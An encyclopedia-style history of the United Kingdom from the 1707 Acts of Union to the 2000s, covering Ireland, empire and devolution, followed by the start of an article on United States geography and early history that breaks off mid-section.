          The state began on 1st May, 1707, as agreed in the Treaty of Union and put into effect by the Acts of Union in 1707. This united the separate countries of England (including Wales) and Scotland into a united Kingdom of Great Britain under a single parliament. A further Act of Union in 1800 added the Kingdom of Ireland to create the United Kingdom of Great Britain and Ireland. In 1922, the territory of what is now the Republic of Ireland gained independence, leaving Northern Ireland as a continuing part of the United Kingdom. As a result, in 1927 the United Kingdom changed its formal title to "The United Kingdom of Great Britain and Northern Ireland", usually shortened to "the United Kingdom", "the UK" or "Britain".


          For history prior to the creation of the United Kingdom see;


          
            	History of England


            	History of Ireland


            	History of Scotland


            	History of Wales

          


          


          The formation of the United Kingdom and the rest of the 18th century


          The creation of the united Kingdom of Great Britain in 1707 was the result of the Treaty of Union which had been negotiated between England and Scotland and put into effect by the passing of the Acts of Union 1707. At the time, England controlled Wales, which had been conquered in 1282 and formally annexed by the Laws in Wales Act 1535, and Ireland, which had been reconquered in 1536. Though England and Scotland were separate, sovereign states, they had shared monarchs since 1603 when James VI of Scotland had become James I of England on the death of the childless Elizabeth I.


          


          Acts of Union 1707


          Deeper political integration had been a key policy of Queen Anne (reigned 170214), and a Treaty of Union was drawn up, and negotiations between England and Scotland began in earnest, in 1706. The parliaments of Scotland and England each approved Acts of Union that put the provisions of the Treaty into effect which in turn received royal assent. Thereafter, political unification occurred on May 1st, 1707 on which day the two kingdoms were combined into a single kingdom and the two parliaments were merged into a single parliament.


          The circumstances surrounding Scotland's acceptance of the Bill are to some degree disputed. Scottish proponents of union believed that failure to accede to the Bill would result in the imposition of union under less favourable terms. Months of fierce debate on both sides of the border followed. In Scotland the debate on occasion dissolved into civil disorder, most notably by the notorious 'Edinburgh Mob'. The prospect of a union of the kingdoms was deeply unpopular among the Scottish population at large but, following the financially disastrous Darien Scheme, the near-bankrupt Parliament of Scotland reluctantly accepted the proposals. Financial incentives to Scottish parliamentarians also played their part in the vote.


          Anne became formally the first occupant of the unified British throne and Scotland sent 45 MPs to the new parliament at Westminster. Perhaps the greatest single benefit to Scotland of the Union was that Scotland could enjoy free trade with England and her colonies overseas. For England's part, a possible ally for European states hostile to England had been neutralised while simultaneously securing a Protestant succession to the British throne.


          The Acts of Union provided for the renaming of Scotland and England as 'North Britain' and 'South Britain' respectively. However, the change failed to take hold and fell into disuse fairly quickly. In England and abroad the terms 'England' and 'Britain' often continue to be used interchangeably, though this error is not mirrored in Scotland.


          However, certain aspect of the former independent kingdoms remained separate. Examples of Scottish and English institutions which were not merged into the British system include: Scottish and English law which remain separate, as do Scottish and English banking systems, the Presbyterian Church of Scotland and Anglican Church of England also remained separate as did the systems of education and higher learning.


          Having failed to establish their own empire, but being better educated than the average Englishman, the Scots made a distinguished and disproportionate contribution to both the government of the United Kingdom and the administration of the British Empire.


          


          Jacobite risings


          The early years of the new united kingdom were marked by major Jacobite Risings, called 'Jacobite Rebellions' by the ruling governments. These Risings were the consequence of James VII of Scotland and II of England being deposed in 1688 with the thrones claimed by his daughter Mary II jointly with her husband, the Dutch born William of Orange. The 'Risings' intensified after the House of Hanover succeeded to the united British Throne in 1714 with the "First Jacobite Rebellion" and "Second Jacobite Rebellion", in 1715 and 1745, known respectively as "The Fifteen" and "The Forty-Five". Although each Jacobite Rising had unique features, they all formed part of a larger series of military campaigns by Jacobites attempting to restore the Stuart kings to the thrones of Scotland and England (and after 1707, the united Kingdom of Great Britain). They ended when the "Forty-Five" rebellion, led by 'the Young Pretender' Charles Edward Stuart was soundly defeated at the Battle of Culloden in 1746.


          


          British Empire
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          The Seven Years' War, which began in 1756, was the first war waged on a global scale, fought in Europe, India, North America, the Caribbean, the Philippines and coastal Africa. The signing of the Treaty of Paris (1763) had important consequences for Britain and its empire. In North America, France's future as a colonial power there was effectively ended with the ceding of New France to Britain (leaving a sizeable French-speaking population under British control) and Louisiana to Spain. Spain ceded Florida to Britain. In India, the Carnatic War had left France still in control of its enclaves but with military restrictions and an obligation to support British client states, effectively leaving the future of India to Britain. The British victory over France in the Seven Years War therefore left Britain as the world's dominant colonial power.


          During the 1760s and 1770s, relations between the Thirteen Colonies and Britain became increasingly strained, primarily because of resentment of the British Parliament's ability to tax American colonists without their consent. Disagreement turned to violence and in 1775 the American Revolutionary War began. The following year, the colonists declared the independence of the United States and with economical and naval assistance from France, would go on to win the war in 1783.


          The loss of the United States, at the time Britain's most populous colony, is seen by historians as the event defining the transition between the "first" and "second" empires, in which Britain shifted its attention away from the Americas to Asia, the Pacific and later Africa. Adam Smith's Wealth of Nations, published in 1776, had argued that colonies were redundant, and that free trade should replace the old mercantilist policies that had characterised the first period of colonial expansion, dating back to the protectionism of Spain and Portugal. The growth of trade between the newly independent United States and Britain after 1783 confirmed Smith's view that political control was not necessary for economic success.


          During its first century of operation, the focus of the British East India Company had been trade, not the building of an empire in India. Company interests turned from trade to territory during the 18th century as the Mughal Empire declined in power and the British East India Company struggled with its French counterpart, the La Compagnie franaise des Indes orientales, during the Carnatic Wars of the 1740s and 1750s. The Battle of Plassey, which saw the British, led by Robert Clive, defeat the French and their Indian allies, left the Company in control of Bengal and a major military and political power in India. In the following decades it gradually increased the size of the territories under its control, either ruling directly or indirectly via local puppet rulers under the threat of force of the Indian Army, 80% of which was composed of native Indian sepoys.


          In 1770, James Cook had discovered the eastern coast of Australia whilst on a scientific voyage to the South Pacific. In 1778, Joseph Banks, Cook's botanist on the voyage, presented evidence to the government on the suitability of Botany Bay for the establishment of a penal settlement, and in 1787 the first shipment of convicts set sail, arriving in 1788.


          At the threshold to the 19th century, Britain was challenged again by France under Napoleon, in a struggle that, unlike previous wars, represented a contest of ideologies between the two nations. It was not only Britain's position on the world stage that was threatened: Napoleon threatened invasion of Britain itself, and with it, a fate similar to the countries of continental Europe that his armies had overrun.


          [bookmark: 19th_century]
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          Ireland joins with the Act of Union (1800)
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          The second stage in the development of the United Kingdom took effect on January, 1st, 1801, when the Kingdom of Great Britain merged with the Kingdom of Ireland to form the United Kingdom of Great Britain and Ireland.


          Events that culminated in the union with Ireland had spanned the previous several centuries. Invasions from England by the ruling Normans from 1170 led to centuries of strife in Ireland and successive Kings of England sought both to conquer and pillage Ireland, imposing their rule by force throughout the entire island. In the early 17th century, large-scale settlement of the province of Ulster by Protestant settlers from both Scotland and England began, which saw the displacement of many of the native Roman Catholics Irish inhabitants of this part of Ireland. Since the time of the first Norman invaders from England, Ireland has been subject to control and regulation, firstly by England then latterly by Great Britain.


          After the Irish Rebellion of 1641, Irish Roman Catholics were barred from voting or attending the Irish Parliament. The new English Protestant ruling class was known as the Protestant Ascendancy. Towards the end of the 18th century the entirely Protestant Irish Parliament attained a greater degree of independence from the British Parliament than it had previously held. Under the Penal Laws no Irish Catholic could sit in the Parliament of Ireland, even though some 90% of Ireland's population was native Irish Catholic when the first of these bans was introduced in 1691. This ban was followed by others in 1703 and 1709 as part of a comprehensive system disadvantaging the Catholic community, and to a lesser extent Protestant dissenters. In 1798, many members of this dissenter tradition made common cause with Catholics in a rebellion inspired and led by the Society of United Irishmen. It was staged with the aim of creating a fully independent Ireland as a state with a republican constitution. Despite assistance from France the Irish Rebellion of 1798 was put down by British forces.


          Possibly influenced by the War of American Independence (17751783) , a united force of Irish volunteers used their influence to campaign for greater independence for the Irish Parliament. This was granted in 1782, giving free trade and legislative independence to Ireland. However, the French revolution had encouraged the increasing calls for moderate constitutional reform. The Society of United Irishmen, made up of Presbyterians from Belfast and both Anglicans and Catholics in Dublin, campaigned for an end to British domination. Their leader Theobald Wolfe Tone (176398) worked with the Catholic Convention of 1792 which demanded an end to the penal laws. Failing to win the support of the British government, he travelled to Paris, encouraging a number of French naval forces to land in Ireland to help with the planned insurrections. These were slaughtered by government forces, but these rebellions convinced the British under Prime Minister William Pitt that the only solution was to end Irish independence once and for all.


          The legislative union of Great Britain and Ireland was completed under the Act of Union 1800, changing the country's name to " United Kingdom of Great Britain and Ireland". The Act was passed in the British and therefore unrepresentative Irish Parliament with substantial majorities achieved in part (according to contemporary documents) through bribery, namely the awarding of peerages and honours to critics to get their votes. Under the terms of the merger, the separate Parliaments of Great Britain and Ireland were abolished, and replaced by a united Parliament of the United Kingdom. Ireland thus became part of an extended United Kingdom. Ireland sent around 100 MPs to the House of Commons at Westminster and 28 peers to the House of Lords, elected from among their number by the Irish peers themselves (Catholics were not permitted peerage). Part of the trade-off for Irish Catholics was to be the granting of Catholic Emancipation, which had been fiercely resisted by the all-Anglican Irish Parliament. However, this was blocked by King George III who argued that emancipating Roman Catholics would breach his Coronation Oath. The Roman Catholic hierarchy had endorsed the Union. However the decision to block Catholic Emancipation fatally undermined the appeal of the Union.


          


          Napoleonic wars


          Hostilities between Great Britain and France recommenced on May 18, 1803. The Coalition war-aims changed over the course of the conflict: a general desire to restore the French monarchy became closely linked to the struggle to stop Bonaparte.


          The series of naval and colonial conflicts, including a large number of minor naval actions, resembled those of the French Revolutionary Wars and the preceding centuries of European warfare. Conflicts in the Caribbean, and in particular the seizure of colonial bases and islands throughout the wars, could potentially have some effect upon the European conflict. The Napoleonic conflict had reached the point at which subsequent historians could talk of a " world war". Only the Seven Years' War offered a precedent for widespread conflict on such a scale.


          In 1806, Napoleon issued the series of Berlin Decrees, which brought into effect the Continental System. This policy aimed to eliminate the threat of the United Kingdom by closing French-controlled territory to its trade. The United Kingdom's army remained a minimal threat to France; the UK maintained a standing army of just 220,000 at the height of the Napoleonic Wars, whereas France's strength peaked at over 1,500,000  in addition to the armies of numerous allies and several hundred thousand national guardsmen that Napoleon could draft into the military if necessary. The Royal Navy, however, effectively disrupted France's extra-continental trade  both by seizing and threatening French shipping and by seizing French colonial possessions  but could do nothing about France's trade with the major continental economies and posed little threat to French territory in Europe. In addition France's population and agricultural capacity far outstripped that of the United Kingdom. However, the United Kingdom possessed the greatest industrial capacity in Europe, and its mastery of the seas allowed it to build up considerable economic strength through trade. That sufficed to ensure that France could never consolidate its control over Europe in peace. However, many in the French government believed that cutting the United Kingdom off from the Continent would end its economic influence over Europe and isolate it. Though the French designed the Continental System to achieve this, it never succeeded in its objective.


          


          Victorian era


          The Victorian era of the United Kingdom is a term commonly used to refer to the period of Queen Victoria's rule between 1837 and 1901 which signified the height of the British Industrial Revolution and the apex of the British Empire. Although , scholars debate whether the Victorian periodas defined by a variety of sensibilities and political concerns that have come to be associated with the Victoriansactually begins with the passage of Reform Act 1832. The era was preceded by the Regency era and succeeded by the Edwardian period. The latter half of the Victorian era roughly coincided with the first portion of the Belle poque era of continental Europe and other non-English speaking countries.


          Prime Ministers: William Pitt the Younger | Lord Grenville | Duke of Portland | Spencer Perceval | Lord Liverpool | George Canning | Lord Goderich | Duke of Wellington | Lord Grey | Lord Melbourne | Sir Robert Peel | Lord John Russell | Lord Derby | Lord Aberdeen | Lord Palmerston | Benjamin Disraeli | William Ewart Gladstone | Lord Salisbury | Lord Rosebery



          Social history: History of British society


          


          Ireland and the move to Home Rule


          Part of the agreement which led to the 1800 Act of Union stipulated that the Penal Laws in Ireland were to be repealed and Catholic Emancipation granted. However King George III blocked emancipation, arguing that to grant it would break his coronation oath to defend the Anglican Church. A campaign under lawyer and politician Daniel O'Connell, and the death of George III, led to the concession of Catholic Emancipation in 1829, allowing Catholics to sit in Parliament. O'Connell then mounted an unsuccessful campaign for the Repeal of the Act of Union.


          When potato blight hit the island in 1846, much of the rural population was left without food. Unfortunately, British politicians such as the Prime Minister Robert Peel were at this time wedded to the economic policy of laissez-faire, which argued against state intervention of any sort. While enormous sums were raised by private individuals and charities (American Indians sent supplies, while Queen Victoria personally gave the present-day equivalent  70,000) British government inaction (or at least inadequate action) caused the problem to become a catastrophe. The class of cottiers or farm labourers was virtually wiped out in what became known as the Irish Potato Famine.


          Most Irish people elected as their MPs Liberals and Conservatives who belonged to the main British political parties (note: the poor didn't have a vote at that time). A significant minority also elected Unionists, who championed the cause of the maintenance of the Act of Union. A former Tory barrister turned nationalist campaigner, Isaac Butt, established a new moderate nationalist movement, the Home Rule League, in the 1870s. After Butt's death the Home Rule Movement, or the Irish Parliamentary Party as it had become known, was turned into a major political force under the guidance of William Shaw and in particular a radical young Protestant landowner, Charles Stewart Parnell. The Irish Parliamentary Party dominated Irish politics, to the exclusion of the previous Liberal, Conservative and Unionist parties that had existed. Parnell's movement proved to be a broad church, from conservative landowners to the Land League which was campaigning for fundamental reform of Irish landholding, where most farms were held on rental from large aristocratic estates.


          Parnell's movement campaigned for 'Home Rule', by which they meant that Ireland would govern itself as a region within the United Kingdom, in contrast to O'Connell who wanted complete independence subject to a shared monarch and Crown. Two Home Rule Bills (1886 and 1893) were introduced by Liberal Prime Minister Gladstone, but neither became law, mainly due to opposition from the House of Lords. The issue divided Ireland, for a significant minority (largely though by no means exclusively based in Ulster) , opposed Home Rule, fearing that a Catholic-Nationalist parliament in Dublin would discriminate against them and would also impose tariffs on industry; while most of Ireland was primarily agricultural, six counties in Ulster were the location of heavy industry and would be affected by any tariff barriers imposed.
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          20th century


          
            	Prime Ministers of the United Kingdom 19001945

          


          Marquess of Salisbury | Arthur Balfour | Sir Henry Campbell-Bannerman | Herbert Henry Asquith | David Lloyd George | Andrew Bonar Law | Stanley Baldwin | Ramsay MacDonald | Stanley Baldwin | Ramsay MacDonald | Stanley Baldwin | Neville Chamberlain | Winston Churchill


          


          World War I


          


          Partition of Ireland


          The 19th and early 20th century saw the rise of Irish Nationalism especially among the Catholic population. Daniel O'Connell led a successful unarmed campaign for Catholic Emancipation. A subsequent campaign for Repeal of the Act of Union failed. Later in the century Charles Stewart Parnell and others campaigned for self government within the Union or " Home Rule".


          In 1912, a further Home Rule bill passed the House of Commons but was defeated in the House of Lords, as was the bill of 1893, but by this time the House of Lords had lost its veto on legislation and could only delay the bill by two years - until 1914. During these two years the threat of civil war hung over Ireland with the creation of the Unionist Ulster Volunteers and their nationalist counterparts, the Irish Volunteers. These two groups armed themselves by importing rifles and ammunition and carried out drills openly. The outbreak of World War I in 1914 put the crisis on the political backburner for the duration of the war. The Unionist and Nationalist volunteer forces joined the British army in their thousands and suffered crippling losses in the trenches.


          A unilaterally declared " Irish Republic" was proclaimed in Dublin in 1916 during the Easter Rising. The uprising was quelled swiftly by British forces, and most of the leaders were shot. This led to a major increase in support in Ireland for the uprising, and in the declaration of independence was ratified by Dil ireann, the self-declared Republic's parliament in 1919. An Anglo-Irish War was fought between Crown forces and the Army of the Irish Republic between January 1919 and June 1921.


          The Anglo-Irish Treaty of 1921, negotiated between teams representing the British and Irish Republic's governments, and ratified by three parliaments,4 established the Irish Free State, which was initially a British Empire Dominion in the same vein as Canada or South Africa, but subsequently left the British Commonwealth and became a republic after World War II, without constitutional ties with the United Kingdom. Six northern, predominantly Protestant, Irish counties ( Northern Ireland) have remained part of the United Kingdom.


          An armed rebellion took place with the Easter Rising of 1916, and then followed the Irish War of Independence. In 1921, a treaty was concluded between the British Government and the leaders of the Irish Republic. The Treaty recognised the two-state solution created in the Government of Ireland Act 1920. Northern Ireland would form a home rule state within the new Irish Free State unless it opted out. Northern Ireland had a majority Protestant population and opted out as expected. A Boundary Commission was set up to decide on the border between the two Irish states, though it was subsequently abandoned after it recommended only minor adjustments to the border. The Irish Free State was initially a British Empire Dominion like Canada and South Africa with King George V being titled King of Ireland. Eire became a republic in 1949 and left the British Commonwealth in 1949 without constitutional ties with the United Kingdom.


          The United Kingdom of Great Britain and Ireland continued in name until 1927 when it was renamed as the United Kingdom of Great Britain and Northern Ireland by the Royal and Parliamentary Titles Act 1927. Despite increasing political independence from each other from 1922, and complete political independence since 1949, the union left the two countries intertwined with each other in many respects. Ireland used the Irish Pound from 1928 until 2001 when it was replaced by the Euro. Until it joined the ERM in 1979, the Irish pound was directly linked to the Pound Sterling. Decimalisation of both currencies occurred simultaneously on Decimal Day in 1971. Irish Citizens in the UK have a status almost equivalent to British Citizens. They can vote in all elections and even stand for parliament. British Citizens have similar rights to Irish Citizens in the Republic of Ireland and can vote in all elections apart from presidential elections and referendums. People from Northern Ireland can have dual nationality by applying for an Irish passport in addition to, or instead of a British one.


          Northern Ireland was created by the Government of Ireland Act 1920, enacted by the United Kingdom of Great Britain and Ireland parliament in 1921. Faced with divergent demands from Irish nationalists and Unionists over the future of the island of Ireland (the former wanted an all-Irish home rule parliament to govern the entire island, the latter no home rule at all) , and the fear of civil war between both groups, the British Government under David Lloyd George passed the Act, creating two home rule Irelands, Northern Ireland and Southern Ireland. Southern Ireland never came into being as a real state and was superseded by the Irish Free State in 1922. That state is now known as the Republic of Ireland.


          Having been given self government in 1920 (even though they never sought it, and some like Sir Edward Carson were bitterly opposed) the Northern Ireland government under successive prime ministers from Sir James Craig (later Lord Craigavon) practiced a policy of wholesale discrimination against the nationalist/ Roman Catholic minority. Northern Ireland became, in the words of Nobel Peace Prize joint-winner, Ulster Unionist Leader and First Minister of Northern Ireland David Trimble, a "cold place for Catholics." Towns and cities were gerrymandered to rig local government elections to ensure Protestant control of town councils. Voting arrangements which gave commercial companies votes and minimum income regulations also helped achieve this end.


          In the 1960s, moderate unionist Prime Minister Terence O'Neill (later Lord O'Neill of the Maine) tried to reform the system, but was met with wholesale opposition from extreme Protestant leaders like the Rev. Ian Paisley. The increasing pressures from nationalists for reform and from extreme unionists for No surrender led to the appearance of the civil rights movement under figures like John Hume, Austin Currie and others. Clashes between marchers and the Royal Ulster Constabulary led to increased communal strife. The British army was originally sent to Northern Ireland in 1969 by British Home Secretary James Callaghan to protect nationalists from attack, and was warmly welcomed. However, the murder of thirteen unarmed civilians in 1972 in Londonderry by British Paratroopers (" Bloody Sunday") inflamed the situation and turned northern nationalists against the British Army. The appearance of the Provisional Irish Republican Army (IRA) , a breakaway from the increasingly Marxist Official IRA, and a campaign of violence by loyalist terror groups like the Ulster Defence Association and others, brought Northern Ireland to the brink of Civil War. Throughout the 1970s and 1980s, extremists on both sides carried out a series of brutal mass murders, often on innocent civilians. Among the most notorious outrages were the Le Mon bombing and the bombings in Enniskillen and Omagh.


          Some British politicians, notably former British Labour minister Tony Benn advocated British withdrawal from Ireland, but this policy was opposed by successive Irish governments, who called their prediction of the possible results of British withdrawal the Doomsday Scenario, with widespread communal strife, followed by the mass exodus of hundreds of thousands of men, women and children as refugees to their community's 'side' of the province; nationalists fleeing to western Northern Ireland, unionists fleeing to eastern Northern Ireland. The worst fear was of a civil war which would engulf not just Northern Ireland, but the neighbouring Republic of Ireland and Scotland both of whom had major links with either or both communities. Later, the feared possible impact of British Withdrawal came to be called the Balkanisation of Northern Ireland after the violent break-up of Yugoslavia and the chaos it unleashed.


          In the early 1970s, the Parliament of Northern Ireland was prorogued after the province's Unionist Government under the premiership of Brian Faulkner refused to agree to the British Government demand that it hand over the powers of law and order, and Direct Rule was introduced from London starting on March 24, 1972. New systems of governments were tried and failed, including power-sharing under Sunningdale, Rolling Devolution and the Anglo-Irish Agreement. By the 1990s, the failure of the IRA campaign to win mass public support or achieve its aim by British Withdrawal, and in particular the public relations disaster that was the Enniskillen, along with the replacement of the traditional Republican leadership of Ruair  Brdaigh by Gerry Adams, saw a move away from armed conflict to political engagement. These changes were followed the appearance of new leaders in Dublin Albert Reynolds, London John Major and in unionism David Trimble. Contacts initiatively been Adams and John Hume, leader of the Social Democratic and Labour Party, broadened out into all party negotiations, that in 1998 produced the ' Good Friday Agreement' which was approved by a majority of both communities in Northern Ireland and by the people of the Republic of Ireland, where the constitution, Bunreacht na hireann was amended to replace a claim it allegedly made to the territory of Northern Ireland with a recognition of Northern Ireland's right to exist, while also acknowledging the nationalist desire for a united Ireland.


          Under the Good Friday Agreement, properly known as the Belfast Agreement, a new Northern Ireland Assembly was elected to form a Northern Irish parliament. Every party that reaches a specific level of support is entitled to name a member of its party to government and claim a ministry. Ulster Unionist party leader David Trimble became First Minister of Northern Ireland. The Deputy Leader of the SDLP, Seamus Mallon, became Deputy First Minister of Northern Ireland, though he was subsequently replaced by his party's new leader, Mark Durkan. The Ulster Unionists, Social Democratic and Labour Party, Sinn Fin and Democratic Unionist Party each had ministers by right in the power-sharing assembly. The Assembly and its Executive are both currently suspended over unionist threats over the alleged delay in the Provisional IRA implementing its agreement to decommission its weaponry, and also the alleged discovery or an IRA spy-ring operating in the heart of the civil service (this later turned out to be false due to the fact that Denis Donaldson, the person in possession of the incriminating files which pointed to an IRA spy-ring actually worked for the British intelligence). Government is now once more run by the Secretary of State for Northern Ireland, Peter Hain and a British ministerial team answerable to him.


          


          World War II


          


          Empire to Commonwealth


          Britain's control over its Empire loosened during the interwar period. Nationalism became stronger in other parts of the empire, particularly in India and in Egypt.


          Between 1867 and 1910, the UK granted Australia, Canada, and New Zealand "Dominion" status (near complete autonomy within the Empire). They became charter members of the British Commonwealth of Nations (known as the Commonwealth of Nations since 1949) , an informal but closely-knit association that succeeded the British Empire. Beginning with the independence of India and Pakistan in 1947, the remainder of the British Empire was almost completely dismantled. Today, most of Britain's former colonies belong to the Commonwealth, almost all of them as independent members. There are, however, 13 former British colonies  including Bermuda, Gibraltar, the Falkland Islands, and others  which have elected to continue their political links with London and are known as British Overseas Territories.


          Although often marked by economic and political nationalism, the Commonwealth offers the United Kingdom a voice in matters concerning many developing countries, and is a forum for those countries to raise concerns. Notable non-members of the Commonwealth are Ireland, the United States and the former middle-eastern colonies and protectorates. In addition, the Commonwealth helps preserve many institutions deriving from British experience and models, such as Westminster-style parliamentary democracy, in those countries.
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          1945-1997


          The end of the Second World War saw a landslide General Election victory for Clement Atlee and the Labour Party. They were elected on a manifesto of greater social justice with left wing policies such as the creation of a National Health Service, an expansion of the provision of council housing and nationalisation of the major industries. The UK at the time was poor, relying heavily on loans from the United States of America (which were finally paid off in February 2007) to rebuild its damaged infrastructure. Rationing and conscription dragged on into the post war years, and the country suffered one of the worst winters on record. Nevertheless, morale was boosted by events such as the marriage of Princess Elizabeth in 1947 and the Festival of Britain.


          As the country headed into the 1950s, rebuilding continued and a number of immigrants from the remaining British Empire were invited to help the rebuilding effort. As the 1950s wore on, the UK had lost its place as a superpower and could no longer maintain its large Empire. This led to decolonization, and a withdrawal from almost all of its colonies by 1970. Events such as the Suez Crisis showed that the UK's status had fallen in the world. The 1950s and 1960s were, however, relatively prosperous times after the Second World War, and saw the beginning of a modernization of the UK, with the construction of its first motorways.


          Though the 1970s and 1980s saw the UK's integration to the European Economic Community and a strict modernization of its economy, they were also a time of high unemployment as deindustrialization saw the end of much of the country's manufacturing industries. The miners' strike of 1984-1985 saw the end of the UK's coal mining, thanks to the discovery of North Sea gas. This was also the time that the IRA took the issue of Northern Ireland to Great Britain, maintaining a prolonged bombing campaign on the island.


          After the difficult 70s and 80s and a low point of Black Wednesday under the John Major government, the rest of the 1990s saw the beginning of a period of continuous economic growth that has to date lasted over 15 years. The Good Friday Agreement saw what many believe to be the beginning of the end of conflict in Northern Ireland; since this event, there has been very little armed violence over the issue.


          


          Devolution to Scotland and Wales


          On September 11th, 1997, (on the 700th anniversary of the Scottish victory over the English at the Battle of Stirling Bridge), a referendum was held on establishing a devolved Scottish Parliament. This resulted in an overwhelming 'yes' vote both to establishing the parliament and granting it limited tax varying powers. Two weeks later, a referendum in Wales on establishing a Welsh Assembly for was also approved but with a very narrow majority. The first elections were held, and these bodies began to operate, in 1999.


          The creation of the devolved Scottish parliament in particular, with powers to legislate over a wide range of issues, is beginning to add to differences between the constituent countries of the United Kingdom. It has also brought to the fore the so-called West Lothian question which is a complaint that devolution for Scotland and Wales but not England has created a situation where all the MPs in the UK parliament can vote on matters affecting England alone but on those same matters Scotland and Wales can make their own decisions.
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          2000s


          In the 2001 General Election, the Labour Party won a second successive victory.


          Despite huge anti-war marches held in London and Glasgow, Blair gave strong support to the United State's invasion of Iraq in 2003. Forty-six thousand British troops, one-third of the total strength of the British Army (land forces), were deployed to assist with the invasion of Iraq and thereafter British armed forces were responsible for security in southern Iraq in the run-up to the Iraqi elections of January 2005.


          The Labour Party won the Thursday 5 May 2005 general election and a third consecutive term in office. On Thursday 7 July 2005, a series of four bomb explosions struck London's public transport system during the morning rush-hour. All four incidents were suicide bombings that killed 52 commutors in addition to the 4 bombers.


          2007 saw the conclusion of the premiership of Tony Blair, followed by the premiership of Gordon Brown (from 27 June 2007).


          2007 also sees an election victory for the pro-independence Scottish National Party (SNP) in the May elections. They formed a minority government with plans to hold a referendum before 2011 to seek a mandate "to negotiate with the Government of the United Kingdom to achieve independence for Scotland." Most opinion polls show minority support for independence though support varies depending on the nature of the question. However, a poll in April 2008 that used the proposed referendum wording found support for independence had reached 41% with just 40% supporting retention of the Union. The response of the unionist parties has been to call for the establishment of a Commission to examine further devolution of powers, a position that has the support of the Prime Minister.


          


          Social history


          Chartism is thought to have originated from the passing of the 1832 Reform Bill, which gave the vote to the majority of the (male) middle classes, but not to the 'working class'. Many people made speeches on the 'betrayal' of the working class and the 'sacrificing' of their 'interests' by the 'misconduct' of the government. In 1838, six members of Parliament and six workingmen formed a committee, which then published the People's Charter.


          Victorian attitudes and ideals continued into the first years of the 20th century, and what really changed society was the start of World War I. The army was traditionally never a large employer in the nation, and the regular army stood at 247,432 at the start of the war. By 1918, there were about five million people in the army and the fledgling Royal Air Force, newly formed from the Royal Naval Air Service (RNAS) and the Royal Flying Corps (RFC) , was about the same size of the pre-war army. The almost three million casualties were known as the "lost generation", and such numbers inevitably left society scarred; but even so, some people felt their sacrifice was little regarded in Britain, with poems like Siegfried Sassoon's Blighters criticising the ill-informed jingoism of the home front.


          The social reforms of the last century continued into the 20th with the Labour Party being formed in 1900. Labour did not achieve major success until the 1922 general election. David Lloyd George said after the First World War that "the nation was now in a molten state", and his Housing Act 1919 would lead to affordable council housing which allowed people to move out of Victorian inner-city slums. The slums, though, remained for several more years, with trams being electrified long before many houses. The Representation of the People Act 1918 gave women householders the vote, but it would not be until 1928 that equal suffrage was achieved.


          A short lived post-war boom soon led to a depression that would be felt worldwide. Particularly hardest hit were the north of England and Wales, where unemployment reached 70% in some areas. The General Strike was called during 1926 in support of the miners and their falling wages, but little improved, the downturn continued and the Strike is often seen as the start of the slow decline of the British coal industry. In 1936, 200 unemployed men walked from Jarrow to London in a bid to show the plight of the industrial poor, but the Jarrow March, or the 'Jarrow Crusade' as it was known, had little impact and it would not be until the coming war that industrial prospects improved. George Orwell's book The Road to Wigan Pier gives a bleak overview of the hardships of the time.
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          The United States is located in the middle of the North American continent, with Canada to the north and Mexico to the south. The United States ranges from the Atlantic Ocean on the nation's east coast to the Pacific Ocean bordering the west, and also includes the state of Hawaii, a series of islands located in the Pacific Ocean, the state of Alaska located in the northwestern part of the continent above the Yukon, and numerous other holdings and territories.


          The first known inhabitants of modern-day United States territory are believed to have arrived over a period of several thousand years beginning sometime prior to 15,000 years ago by crossing Beringia into Alaska. Solid evidence of these cultures settling in what would become the US is dated to at least 14,000 years ago.


          Relatively little is known of these early settlers compared to the Europeans who colonized the area after the first voyage of navigator Christopher Columbus in 1492 for Spain. Columbus' men were also the first documented Old Worlders to land in the territory of the United States when they arrived in Puerto Rico during their second voyage in 1493. Juan Ponce de Len, who arrived in Florida in 1513, is credited as being the first European to land in what is now the continental United States, although some evidence suggests that John Cabot might have reached what is presently New England in 1498.


          In its beginnings, the United States consisted only of the Thirteen Colonies, which consisted of states occupying the same lands as when they were British colonies. American colonists fought off the British army in the American Revolutionary War of the 1770s and issued a Declaration of Independence in 1776. Seven years later, the signing of the Treaty of Paris officially recognized independence from Britain. In the nineteenth century, westward expansion of United States territory began, upon the belief of Manifest Destiny, in which the United States would occupy all the North American land east to west, from the Atlantic to the Pacific Oceans. By 1912, with the admission of Arizona to the Union, the U.S. reached that goal. The outlying states of Alaska and Hawaii were both admitted in 1959.


          Ratified in 1788, the Constitution serves as the supreme American law in organizing the government; the Supreme Court is responsible for upholding Constitutional law. Many social progresses came up starting in the nineteenth century; those advancements have been widely reflected in the Constitution. Slavery was abolished in 1865 by the Thirteenth Amendment to the United States Constitution; the following Fourteenth and Fifteenth Amendments respectively guaranteed citizenship for all persons naturalized within U.S. territory and voting for people of all races. In later years, civil rights were extended to women and black Americans, following effective lobbying from social activists. The Nineteenth Amendment prohibited gender discrimination in voting rights; later, the Civil Rights Act of 1964 outlawed racial segregation in public places.


          The Progressive Era marked a time of economic growth for the United States, advancing to the Roaring Twenties. However, the Wall Street Crash of 1929 led to the Great Depression, a time of economic downturn and mass unemployment. Consequently, the U.S. government established the New Deal, a series of reform programs that intended to assist those affected by the Depression. The New Deal has varied success. However, once the U.S. entered World War II in December 1941, the economy quickly recovered, so much that the U.S. became a world superpower by the dawn of the Cold War. During the Cold War, the U.S. and the Soviet Union were the world's two superpowers, but with the end of the Cold War and the collapse of the Soviet Union, United States became the world's only superpower.


          


          


          Pre-Columbian period


          The earliest known inhabitants of what is now the United States are thought to have arrived in Alaska by crossing the Bering land bridge, at least 14,000 years ago. Some of these groups migrated south and over time spread throughout the Americas. These were the ancestors to modern Native Americans in the United States and Alaskan Native peoples, as well as all indigenous peoples of the Americas.


          Many indigenous peoples were semi-nomadic tribes of hunter-gatherers; others were sedentary and agricultural civilizations. Many formed new tribes or confederations in response to European colonization. Well-known groups included the Huron, Apache Tribe, Cherokee, Sioux, Delaware, Algonquin, Choctaw, Mohegan, Iroquois (which included the Mohawk nation, Oneida tribe, Seneca nation, Cayuga nation, Onondaga and later the Tuscarora tribe and Inuit. Though not as technologically advanced as the Mesoamerican civilizations further south, there were extensive pre-Columbian sedentary societies in what is now the US. The Iroquois had a politically advanced and unique social structure that was at the very least inspirational if not directly influential to the later development of the democratic United States government, a departure from the strong monarchies from which the Europeans came.


          


          North America's Moundbuilder Culture
